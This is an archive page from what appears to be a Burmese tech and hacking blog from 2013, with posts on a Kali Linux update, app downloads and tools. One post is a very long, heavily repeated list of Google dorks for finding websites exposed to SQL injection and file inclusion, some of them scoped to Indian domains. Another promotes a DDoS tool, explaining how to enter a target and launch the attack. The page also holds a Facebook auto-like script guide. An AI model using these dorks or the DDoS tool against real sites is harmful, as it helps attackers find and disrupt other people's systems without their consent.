7/31/2013

Kali Linux Summer Update v1.0.4

 
July 25 ရက္ ေန႔စြဲနဲ႔ Kali Linux ကုိ Update release လုပ္ေပးခဲ့ပါတယ္။ အရင္ဗားရွင္းအေဟာင္းကုိ သြင္းထားသူမ်ားကေတာ့ Download လုပ္စရာမလုိပဲ apt-get update && apt-get dist-upgrade Command နဲ႔ Update လုပ္ေပးႏုိင္မွာျဖစ္ပါတယ္။ ေဒါင္းရင္ေတာ့ 2.37 GB ရွိပါတယ္။ iso i386 Gnome 32 Bit အတြက္ပါ။ အရင္ဗားရွင္းတုန္းကေတာ့ 2.27 GB ပါ။ new version မွာ pen testing tool အသစ္ေတြကုိထပ္ေပါင္းထားပါတယ္။ ဒါေတြကေတာ့ ေအာက္ပါအတုိင္းပဲျဖစ္ပါတယ္။ အေသးစိတ္ကုိေတာ့ Kali Linux ရဲ႕ Official Site ထဲမွာသြားျပီးဖတ္ႏုိင္ပါတယ္။
 Winexe
    Pass the Hash Toolkit
    enum4linux
    RegRipper
    rfcat
    Unicornscan
    jSQL
    JD-G
            Ubertooth
        Ghost Phisher
        Uniscan
        Arachni
        Bully
    OpenVAS
    Volatility
    Durandal’s Backdoor
    Maltego
    OWASP ZAP
    Armitage
    DNSrecon
    Vega
    WPScan


Read more »

SQLi Dork 2013

Share Engine To Google : http://www.google.com/webhp?hl=xx-hacker

intext:”error in your SQL syntax” +site:in

intext:”mysql_num_rows()” +site:in

intext:”mysql_fetch_array()” +site:in

intext:”Error Occurred While Processing Request” +site:in

intext:”Server Error in ‘/’ Application” +site:in

intext:”Microsoft OLE DB Provider for ODBC Drivers error” +site:in

intext:”Invalid Querystring” +site:in

intext:”OLE DB Provider for ODBC” +site:in

intext:”VBScript Runtime” +site:in

intext:”ADODB.Field” +site:in

intext:”BOF or EOF” +site:in

intext:”ADODB.Command” +site:in

intext:”JET Database” +site:in

intext:”mysql_fetch_row()” +site:in

intext:”Syntax error” +site:in

intext:”include()” +site:in

intext:”mysql_fetch_assoc()” +site:in

intext:”mysql_fetch_object()” +site:in

intext:”mysql_numrows()” +site:in

intext:”GetArray()” +site:in

intext:”FetchRow()” +site:in

intext:”Input string was not in a correct format” +site:in



inurl:/general.php?*id=*

inurl:/careers-detail.asp?id=

inurl:/WhatNew.asp?page=&id=

inurl:/gallery.asp?cid=

inurl:/publications.asp?type=

inurl:/mpfn=pdview&id=

inurl:/reservations.php?id=

inurl:/list_blogs.php?sort_mode=

inurl:/eventdetails.php?*=

inurl:/commodities.php?*id=

inurl:/recipe-view.php?id=

inurl:product.php?mid=

inurl:view_ad.php?id=

inurl:/imprimir.php?id=

inurl:/prodotti.php?id=

inurl:index.cgi?aktion=shopview

inurl:/default.php?id=

inurl:/default.php?portalID=

inurl:/*.php?id=

inurl:/articles.php?id=

inurl:/os_view_full.php?

inurl:/Content.asp?id=

inurl:/CollectionContent.asp?id=

inurl:/Details.asp?id=

intext:"Powered By : SE Software Technologies" filetype:php

inurl:/index.php?pgId=

inurl:/index.php?PID= "Powered By Dew-NewPHPLinks v.2.1b"

inurl:/dosearch.asp?

inurl:/details.php?linkid=

inurl:/viewfaqs.php?cat=

inurl:/calendar.php?token=

inurl:/games.php?id= "Powered by PHPD Game Edition"

inurl:/gmap.php?id=

allinurl:*.php?txtCodiInfo=

inurl:/notizia.php?idArt=

inurl:read.php?=

inurl:"ViewerFrame?Mode="

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:Stray-Questions-View.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?id=

inurl:humor.php?id=

inurl:aboutbook.php?id=

inurl:ogl_inet.php?ogl_id=

inurl:fiche_spectacle.php?id=

inurl:communique_detail.php?id=

inurl:sem.php3?id=

inurl:kategorie.php4?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:opinions.php?id=

inurl:spr.php?id=

inurl:pages.php?id=

inurl:announce.php?id=

inurl:clanek.php4?id=

inurl:participant.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:prod_detail.php?id=

inurl:viewphoto.php?id=

inurl:article.php?id=

inurl:person.php?id=

inurl:productinfo.php?id=

inurl:showimg.php?id=

inurl:view.php?id=

inurl:website.php?id=

inurl:hosting_info.php?id=

inurl:gallery.php?id=

inurl:rub.php?idr=

inurl:view_faq.php?id=

inurl:artikelinfo.php?id=

inurl:detail.php?ID=

inurl:index.php?=

inurl:profile_view.php?id=

inurl:category.php?id=

inurl:publications.php?id=

inurl:fellows.php?id=

inurl:downloads_info.php?id=

inurl:prod_info.php?id=

inurl:shop.php?do=part&id=

inurl:productinfo.php?id=

inurl:collectionitem.php?id=

inurl:band_info.php?id=

inurl:product.php?id=

inurl:releases.php?id=

inurl:ray.php?id=

inurl:produit.php?id=

inurl:pop.php?id=

inurl:shopping.php?id=

inurl:productdetail.php?id=

inurl:post.php?id=

inurl:viewshowdetail.php?id=

inurl:clubpage.php?id=

inurl:memberInfo.php?id=

inurl:section.php?id=

inurl:theme.php?id=

inurl:page.php?id=

inurl:shredder-categories.php?id=

inurl:tradeCategory.php?id=

inurl:product_ranges_view.php?ID=

inurl:shop_category.php?id=

inurl:transcript.php?id=

inurl:channel_id=

inurl:item_id=

inurl:newsid=

inurl:trainers.php?id=

inurl:news-full.php?id=

inurl:news_display.php?getid=

inurl:index2.php?option=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:newsone.php?id=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:aboutbook.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:pages.php?id=

inurl:material.php?id=

inurl:clanek.php4?id=

inurl:announce.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:viewapp.php?id=

inurl:viewphoto.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:review.php?id=

inurl:iniziativa.php?in=

inurl:curriculum.php?id=

inurl:labels.php?id=

inurl:story.php?id=

inurl:look.php?ID=

inurl:newsone.php?id=

inurl:aboutbook.php?id=

inurl:material.php?id=

inurl:opinions.php?id=

inurl:announce.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:tekst.php?idt=

inurl:newscat.php?id=

inurl:newsticker_info.php?idn=

inurl:rubrika.php?idr=

inurl:rubp.php?idr=

inurl:offer.php?idf=

inurl:art.php?idm=

inurl:title.php?id=

intitle:axis intitle:"video server"

inurl:indexFrame.shtml Axis

?intitle:index.of? mp3 artist-name-here

"intitle:index of"

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:Pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?id=

inurl:humor.php?id=

inurl:aboutbook.php?id=

inurl:fiche_spectacle.php?id=

inurl:communique_detail.php?id=

inurl:sem.php3?id=

inurl:kategorie.php4?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:opinions.php?id=

inurl:spr.php?id=

inurl:pages.php?id=

inurl:announce.php?id=

inurl:clanek.php4?id=

inurl:participant.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:prod_detail.php?id=

inurl:viewphoto.php?id=

inurl:article.php?id=

inurl:person.php?id=

inurl:productinfo.php?id=

inurl:showimg.php?id=

inurl:view.php?id=

inurl:website.php?id=

inurl:hosting_info.php?id=

inurl:gallery.php?id=

inurl:rub.php?idr=

inurl:view_faq.php?id=

inurl:artikelinfo.php?id=

inurl:detail.php?ID=

inurl:index.php?=

inurl:profile_view.php?id=

inurl:category.php?id=

inurl:publications.php?id=

inurl:fellows.php?id=

inurl:downloads_info.php?id=

inurl:prod_info.php?id=

inurl:shop.php?do=part&id=

inurl:Productinfo.php?id=

inurl:collectionitem.php?id=

inurl:band_info.php?id=

inurl:product.php?id=

inurl:releases.php?id=

inurl:ray.php?id=

inurl:produit.php?id=

inurl:pop.php?id=

inurl:shopping.php?id=

inurl:productdetail.php?id=

inurl:post.php?id=

inurl:viewshowdetail.php?id=

inurl:clubpage.php?id=

inurl:memberInfo.php?id=

inurl:section.php?id=

inurl:theme.php?id=

inurl:page.php?id=

inurl:shredder-categories.php?id=

inurl:tradeCategory.php?id=

inurl:product_ranges_view.php?ID=

inurl:shop_category.php?id=

inurl:transcript.php?id=

inurl:channel_id=

inurl:item_id=

inurl:newsid=

inurl:trainers.php?id=

inurl:news-full.php?id=

inurl:news_display.php?getid=

inurl:index2.php?option=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:newsone.php?id=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:aboutbook.php?id=

inurl:review.php?id=

inurl:loadpsb.php?id=

inurl:ages.php?id=

inurl:material.php?id=

inurl:clanek.php4?id=

inurl:announce.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:viewapp.php?id=

inurl:viewphoto.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:review.php?id=

inurl:iniziativa.php?in=

inurl:curriculum.php?id=

inurl:labels.php?id=

inurl:look.php?ID=

inurl:newsone.php?id=

inurl:aboutbook.php?id=

inurl:material.php?id=

inurl:opinions.php?id=

inurl:announce.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:tekst.php?idt=

inurl:newscat.php?id=

inurl:newsticker_info.php?idn=

inurl:rubrika.php?idr=

inurl:rubp.php?idr=

inurl:offer.php?idf=

inurl:art.php?idm=

inurl:title.php?id=

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()

inurl:"id=" & intext:"Warning: mysql_fetch_array()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: is_writable()

inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: Unknown()

inurl:"id=" & intext:"Warning: session_start()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: pg_exec()

inurl:"id=" & intext:"Warning: mysql_result()

inurl:"id=" & intext:"Warning: mysql_num_rows()

inurl:"id=" & intext:"Warning: mysql_query()

inurl:"id=" & intext:"Warning: array_merge()

inurl:"id=" & intext:"Warning: preg_match()

inurl:"id=" & intext:"Warning: ilesize()

inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: filesize()

inurl:"id=" & intext:"Warning: require()

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:Pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?id=

inurl:humor.php?id=

inurl:aboutbook.php?id=

inurl:fiche_spectacle.php?id=

inurl:communique_detail.php?id=

inurl:sem.php3?id=

inurl:kategorie.php4?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:opinions.php?id=

inurl:spr.php?id=

inurl:pages.php?id=

inurl:announce.php?id=

inurl:clanek.php4?id=

inurl:participant.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:prod_detail.php?id=

inurl:viewphoto.php?id=

inurl:article.php?id=

inurl:person.php?id=

inurl:productinfo.php?id=

inurl:showimg.php?id=

inurl:view.php?id=

inurl:website.php?id=

inurl:hosting_info.php?id=

inurl:gallery.php?id=

inurl:rub.php?idr=

inurl:view_faq.php?id=

inurl:artikelinfo.php?id=

inurl:detail.php?ID=

inurl:index.php?=

inurl:profile_view.php?id=

inurl:category.php?id=

inurl:publications.php?id=

inurl:fellows.php?id=

inurl:downloads_info.php?id=

inurl:prod_info.php?id=

inurl:shop.php?do=part&id=

inurl:Productinfo.php?id=

inurl:collectionitem.php?id=

inurl:band_info.php?id=

inurl:product.php?id=

inurl:releases.php?id=

inurl:ray.php?id=

inurl:produit.php?id=

inurl:pop.php?id=

inurl:shopping.php?id=

inurl:productdetail.php?id=

inurl:post.php?id=

inurl:viewshowdetail.php?id=

inurl:clubpage.php?id=

inurl:memberInfo.php?id=

inurl:section.php?id=

inurl:theme.php?id=

inurl:page.php?id=

inurl:shredder-categories.php?id=

inurl:tradeCategory.php?id=

inurl:product_ranges_view.php?ID=

inurl:shop_category.php?id=

inurl:transcript.php?id=

inurl:channel_id=

inurl:item_id=

inurl:newsid=

inurl:trainers.php?id=

inurl:news-full.php?id=

inurl:news_display.php?getid=

inurl:index2.php?option=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:newsone.php?id=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:aboutbook.php?id=

inurl:review.php?id=

inurl:loadpsb.php?id=

inurl:ages.php?id=

inurl:material.php?id=

inurl:clanek.php4?id=

inurl:announce.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:viewapp.php?id=

inurl:viewphoto.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:review.php?id=

inurl:iniziativa.php?in=

inurl:curriculum.php?id=

inurl:labels.php?id=

inurl:story.php?id=

inurl:look.php?ID=

inurl:newsone.php?id=

inurl:aboutbook.php?id=

inurl:material.php?id=

inurl:opinions.php?id=

inurl:announce.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:tekst.php?idt=

inurl:newscat.php?id=

inurl:newsticker_info.php?idn=

inurl:rubrika.php?idr=

inurl:rubp.php?idr=

inurl:offer.php?idf=

inurl:art.php?idm=

inurl:title.php?id=

trainers.php?id=

article.php?ID=

play_old.php?id=

declaration_more.php?decl_id=

Pageid=

games.php?id=

newsDetail.php?id=

staff_id=

historialeer.php?num=

product-item.php?id=

news_view.php?id=

humor.php?id=

communique_detail.php?id=

sem.php3?id=

opinions.php?id=

spr.php?id=

pages.php?id=

chappies.php?id=

prod_detail.php?id=

viewphoto.php?id=

view.php?id=

website.php?id=

hosting_info.php?id=

gery.php?id=

detail.php?ID=

publications.php?id=

Productinfo.php?id=

releases.php?id=

ray.php?id=

produit.php?id=

pop.php?id=

shopping.php?id=

productdetail.php?id=

post.php?id=

section.php?id=

theme.php?id=

page.php?id=

shredder-categories.php?id=

product_ranges_view.php?ID=

shop_category.php?id=

channel_id=

newsid=

news_display.php?getid=

ages.php?id=

clanek.php4?id=

review.php?id=

iniziativa.php?in=

curriculum.php?id=

labels.php?id=

look.php?ID=

galeri_info.php?l=

tekst.php?idt=

newscat.php?id=

newsticker_info.php?idn=

rubrika.php?idr=

offer.php?idf=

"id=" & intext:"Warning: mysql_fetch_array()

"id=" & intext:"Warning: getimagesize()

"id=" & intext:"Warning: session_start()

"id=" & intext:"Warning: mysql_num_rows()

"id=" & intext:"Warning: mysql_query()

"id=" & intext:"Warning: array_merge()

"id=" & intext:"Warning: preg_match()

"id=" & intext:"Warning: ilesize()

"id=" & intext:"Warning: filesize()

index.php?id=

buy.php?category=

article.php?ID=

play_old.php?id=

newsitem.php?num=

top10.php?cat=

historialeer.php?num=

reagir.php?num=

Stray-Questions-View.php?num=

forum_bds.php?num=

game.php?id=

view_product.php?id=

sw_comment.php?id=

news.php?id=

avd_start.php?avd=

event.php?id=

sql.php?id=

news_view.php?id=

select_biblio.php?id=

humor.php?id=

ogl_inet.php?ogl_id=

fiche_spectacle.php?id=

communique_detail.php?id=

sem.php3?id=

kategorie.php4?id=

faq2.php?id=

show_an.php?id=

preview.php?id=

loadpsb.php?id=

opinions.php?id=

spr.php?id=

announce.php?id=

participant.php?id=

download.php?id=

main.php?id=

review.php?id=

chappies.php?id=

read.php?id=

prod_detail.php?id=

article.php?id=

person.php?id=

productinfo.php?id=

showimg.php?id=

view.php?id=

website.php?id=

hosting_info.php?id=

gery.php?id=

rub.php?idr=

view_faq.php?id=

artikelinfo.php?id=

detail.php?ID=

index.php?=

profile_view.php?id=

category.php?id=

publications.php?id=

fellows.php?id=

downloads_info.php?id=

prod_info.php?id=

shop.php?do=part&id=

collectionitem.php?id=

band_info.php?id=

product.php?id=

releases.php?id=

ray.php?id=

produit.php?id=

pop.php?id=

shopping.php?id=

productdetail.php?id=

post.php?id=

viewshowdetail.php?id=

clubpage.php?id=

memberInfo.php?id=

section.php?id=

theme.php?id=

page.php?id=

shredder-categories.php?id=

tradeCategory.php?id=

product_ranges_view.php?ID=

shop_category.php?id=

transcript.php?id=

channel_id=

item_id=

newsid=

trainers.php?id=

news-full.php?id=

news_display.php?getid=

index2.php?option=

readnews.php?id=

newsone.php?id=

product-item.php?id=

pages.php?id=

clanek.php4?id=

viewapp.php?id=

viewphoto.php?id=

galeri_info.php?l=

iniziativa.php?in=

curriculum.php?id=

labels.php?id=

story.php?id=

look.php?ID=

aboutbook.php?id=

"id=" & intext:"Warning: mysql_fetch_assoc()

"id=" & intext:"Warning: is_writable()

"id=" & intext:"Warning: Unknown()

"id=" & intext:"Warning: mysql_result()

"id=" & intext:"Warning: pg_exec()

"id=" & intext:"Warning: require()

buy.php?category=

pageid=

page.php?file=

show.php?id=

newsitem.php?num=

readnews.php?id=

top10.php?cat=

reagir.php?num=

Stray-Questions-View.php?num=

forum_bds.php?num=

game.php?id=

view_product.php?id=

sw_comment.php?id=

news.php?id=

avd_start.php?avd=

event.php?id=

sql.php?id=

select_biblio.php?id=

ogl_inet.php?ogl_id=

fiche_spectacle.php?id=

kategorie.php4?id=

faq2.php?id=

show_an.php?id=

loadpsb.php?id=

announce.php?id=

participant.php?id=

download.php?id=

article.php?id=

person.php?id=

productinfo.php?id=

showimg.php?id=

rub.php?idr=

view_faq.php?id=

artikelinfo.php?id=

index.php?=

profile_view.php?id=

category.php?id=

fellows.php?id=

downloads_info.php?id=

prod_info.php?id=

shop.php?do=part&id=

collectionitem.php?id=

band_info.php?id=

product.php?id=

viewshowdetail.php?id=

clubpage.php?id=

memberInfo.php?id=

tradeCategory.php?id=

transcript.php?id=

item_id=

news-full.php?id=

aboutbook.php?id=

preview.php?id=

material.php?id=

read.php?id=

viewapp.php?id=

story.php?id=

newsone.php?id=

rubp.php?idr=

art.php?idm=

title.php?id=

index1.php?modo=

include.php?*

*=

nota.php?pollname=

index3.php?p=

padrao.php?pre=

home.php?pa=

main.php?type=

sitio.php?start=

*.php?include=

general.php?xlink=

show.php?go=

nota.php?ki=

down*.php?oldal=

layout.php?disp=

enter.php?chapter=

base.php?incl=

enter.php?mod=

show.php?corpo=

head.php?*

*=

info.php?strona=

template.php?str=
Read more »

7/30/2013

Myandroid v1.3

ကုိျဖဳိးခ်မ္းရဲ႕ Myandroid v1.3 ေလးျဖစ္ပါတယ္။ Update version ကုိထုတ္ခဲ့တာၾကာပါျပီ။ ခုမွစိတ္ကူးေပါက္လုိ႔ျပန္ရွယ္လုိက္တာ။ သူရဲ႕ Feature ေတြကေတာ့ အမ်ားၾကီးပါပဲ။ အားလုံးသိျပီးသားျဖစ္မွာပါ။ အဲဒါေၾကာင့္ ရွည္ရွည္ေဝးေဝးေျပာမေနေတာ့ပါဘူး။ ကြ်န္ေတာ္ဘေလာ့ကေနဖတ္ေနတဲ့ Visitors ေတြအတြက္ မသိေသးသူမ်ားအတြက္ ရည္ရြယ္ျပီး ျပန္ရွည္လုိက္ရပါတယ္။ အဆင္ေျပၾကပါေစဗ်ာ။

File Size: 48.20 MB
Password: mmsd

Credit: www.myanmarmobilesoftwaresdeveloper.com
Huawei & Other ျမန္မာစာ၊ျမန္မာစာလက္ကြက္သြင္းျခင္း
Read more »

DNS Jumper

ျမန္မာႏုိင္ငံရဲ႕ေႏွးေကြးလွတဲ့ အင္တာနက္ Connection အတြက္ ဒီေကာင္နဲ႔ စမ္းၾကည့္ၾကပါ။ မူရင္းပုိ႔စ္ကေတာ့ ကုိသူရ ဆုိဒ္ကေနမလာတာပါ။ အေသးစိတ္ေတာ့မရွင္းျပေတာ့ပါဘူး။ Setting မခ်ိန္တတ္ရင္ မူရင္းဆုိဒ္မွာသြားျပီး ဖတ္ႏုိင္ပါတယ္။ ကြ်န္ေတာ္တုိ႔လုိ႔လူေတြအတြက္ကေတာ့ စမ္းၾကည့္သင့္တာေပါ့ေနာ္။ မရလည္းအရင္းပဲေလ။ ဟီး
[Sceenshot]


Ref: http://www.sordum.org/7952/dns-jumper-v1-0-5/

Read more »

ေဆးရုိးသည္ Tech News Reader

ဘယ္သူလုပ္ထားတာလဲေတာ့မသိပါဘူး။ ဒီ Apk ေလးကုိသြင္းထားလုိက္ရင္ ခုတေလာ ျမန္မာႏုိင္ငံမွာ ေရးထားသမ်ွ ဘေလာ့ဆုိဒ္ေတြေတာ္ေတာ္မ်ားမ်ားရဲ႕ပုိ႔စ္ေတြကုိ အခ်ိန္နဲ႕တေျပးညီဖတ္ႏုိင္မွာျဖစ္ပါတယ္။ အင္တာနက္မရွိတဲ့အခ်ိန္မွာလည္း Offline Mode နဲ႔ဖတ္ႏုိင္ပါတယ္။ ဆုိဒ္ေပါင္းအနည္းဆုံး ၁၀ ခုထက္မနည္းတဲ့ပုိ႔စ္ေတြကုိ ဒီေကာင္းေလးသြင္းထားရုံနဲ႕ ဘေလာ့ေတြရဲ႕ပုိ႔စ္ေတြကုိ ဖတ္ႏုိင္မွာျဖစ္ပါတယ္။ ေဒါင္းထားသင့္တဲ့ apk ေလးပါပဲဗ်ာ။ ဒီ apk ကုိဖန္တီးေပးတဲ့သူကုိေတာ့ ေက်းဇူးတင္ရမွာေပါ့ဗ်ာ။ ေက်းဇူးတင္ပါတယ္။ :D
Read more »

7/29/2013

Facebook Auto Like

Facebook မွာ မိမိအသိေတြရဲ႕ Page ကုိျဖစ္ျဖစ္ Auto Like လုပ္ေပးလုိ႔ရတဲ့နည္းျဖစ္ပါတယ္။ ဒီပုိ႔စ္ကုိေတာ့ Kiddomonstar ဆုိဒ္ကေနတုိက္ရုိက္ေကာ္ပီကူးယူတင္ျပလုိ္က္ပါတယ္။ ဟီး :D
ကဲ စျပီး ကူးျပီေနာ္။ အဲ ဟုတ္ေပါင္။ ေတာ္ပါျပီ ေအာက္မွာသာဆက္ဖတ္လုိက္ပါ။ မူရင္းပုိ႔စ္ပုိင္ရွင္ရဲ႕အာေဘာ္ကုိပဲ ေဖာ္ျပလုိက္ေတာ့မယ္။  မလုိအပ္တဲ့ စာေၾကာင္းေလးေတြေလာက္ပဲ ဖယ္ျပီး မူရင္းအတုိင္းပဲ ေဖာ္ျပလုိက္တယ္ပါဗ်ာ။

ရွာတာက တခု ေတြ႕တာက တခုဆိုသည့္အတိုင္းပါပဲဗ်ာ ရွာလိုက္တာမေတြ႕ပဲ မရွာတဲ့ဟာက ေတြ႕ေနတာ ျဖစ္ရိုးျဖစ္စဥ္လို႕မေျပာရင္ေတာင္ ကြ်န္ေတာ္ျဖစ္ေနၾကအတုိင္းပါပဲ ပစၥည္းတခုခုရွာရင္ တျခား မရွာေတာ့တဲ့ဟာက ျပန္ေတြ႕ေနတယ္ အခုလဲ ရွာတာ တခု ေတြ႕တာ တခုဆိုေတာ့ ဘာပဲျဖစ္ျဖစ္ ပညာတခုတိုးတာေပါ့ဗ်ာ ။ ပုံျပတဲ့အတိုင္းပါပဲ ဘယ္လိုသုံးရမယ္ဆိုေတာ့က သြင္းထားျပီးသုံးရုံပါပဲ Like All Status ဆိုတာကေတာ့ ကိုယ္က သူမ်ားေ၀ါ မွာ သြားျပီးေတာ့ ေအာက္ဆုံးကိုေရာက္သည္ အထိေပါ့ဗ်ာ ဒါမွမဟုတ္ရင္ ကုိယ္ လုပ္ခ်င္သေလာက္ေပါ့ အစ အဆုံးလုပ္ခ်င္တယ္ဆိုရင္ေတာ့ ကိုယ္လုပ္ခ်င္တဲ့လူရဲ႕ ေ၀ါကို ၀င္ျပီးေတာ့ ေအာက္ဆုံး Join Date ေရာက္သည္အထိသြားလိုက္ေပါ့ဗ်ာ ဟီး ဒါေပမယ့္ ဖြဘုတ္က တခုသတ္မွတ္ထားတာကေတာ့ Like အမ်ားၾကီးလုပ္လို႕ မရပါဘူး သူ႕မွာလဲ Fri Add သလိုပါပဲ Limit ရွိပါတယ္ ၾကာရင္ လဲ သူငယ္ခ်င္း အပ္သလို ပဲ ဘေလာ့ခံရတက္ပါတယ္ Functions အေနနဲ႕ကေတာ့ Status & Comment ေတြ ကို Like လုပ္ႏိုင္ပါတယ္ Message / Follow ကေတာ့ ကြ်န္ေတာ့္ကို ဆက္သြယ္ခ်င္ရင္ေပါ့ဗ်ာ Devil သူက သုံးႏိုင္တာ ၂ ေနရာထဲပဲရွိပါေသးတယ္ အဲဒါကေတာ့ လူသုံးမ်ားတဲ့ Mozilla & Google Chrome Browsers ေတြပဲျဖစ္ပါတယ္ ဟီး :D  လိုခ်င္တယ္ဆိုရင္ေတာ့ ေအာက္မွာ ၾကည့္လိုက္ေပါ့ဗ်ာ လိုအပ္တာေတြကေတာ့ Extension တခုပါပဲ ကြ်န္ေတာ္တင္ထားတာ မဟုတ္ပါဘူး FireFox ကတင္ထားတာပါခင္ဗ်ာ :P
======================================================================
+ Mozzila Firefox Users:
+ 1.Install Add-ons Greasemonkey for mozilla  https://addons.mozilla.org
+ Google Chrome Users:
+ 1. Install Extension Tampermonkey For Chrome https://chrome.google.com/webstore/detail
======================================================================
အဲဒါေတြျပီးသြားျပီဆိုရင္ေတာ့ လုိအပ္တဲ့ Source Code ကို Download လုပ္လိုက္ပါ ။

ေဒါင္းတယ္ဆိုတာကလဲ ေကာ္ပီကူးခိုင္းတာပါပဲ အရင္ဆုံး Chrome အတြက္ကေတာ့ Search Box ရဲ႕ေဘးမွာ အိုင္ကြန္ တခုတက္သြားပါလိမ့္မယ္ အဲဒီမွာ Add a new script … ဆိုတာကို ႏွိပ္ေပးလိုက္ပါ။

fb like2

ျပီးတြားရင္ေတာ fb like3
ေလးကိုရွာျပီးေတာ့ အသစ္ထည့္လိုက္ပါ ျပီးရင္ေတာ့ Save ဆိုတာကို တခ်က္ရွာလိုက္ပါ ျပီးသြားရင္ေတာ့ ဖြဘုတ္ကို Refresh ( F5 ) ႏွိပ္ေပးလိုက္ပါ ဒါဆိုရင္ေတာ့
ဂလိုေလးတက္လာရင္ေတာ့ အဆင္ေျပျပီေပါ့ဗ်ာ။ AutoLike Facebook ♥
Read more »

Dereil DDoS Attack Tool

DDoS Attack လုပ္ေပးမယ့္ Tool ေလးပါပဲ။ C# Language နဲ႔ေရးထားတာပါ။ အရင္ဆုံး Target မွာ မိမိ ddos လုပ္ခ်င္တဲ့လိပ္စာကုိထည့္ထားပါ။ ျပီးရင္ Test ဆုိဆုိတာကုိႏွိပ္ေပးရင္ Command Prompt ေလးတက္လာျပီး အဲဒီဆုိဒ္ရဲ႕ Status ကုိလာျပပါတယ္။ ျပီးမွ Start Dos ကုိႏွိပ္ရမွာေပါ့ဗ်ာ။ ဒီေကာင္ကုိသုံးရင္ တခါတခါ Program Not Responding ဆုိျပီးစက္ပါဟန္းသြားတတ္တယ္ခင္ဗ်။ ဟီး
 [Screenshot]

Download: Sourceforge
Read more »

7/28/2013

Wifi Kill Pro Apk

 
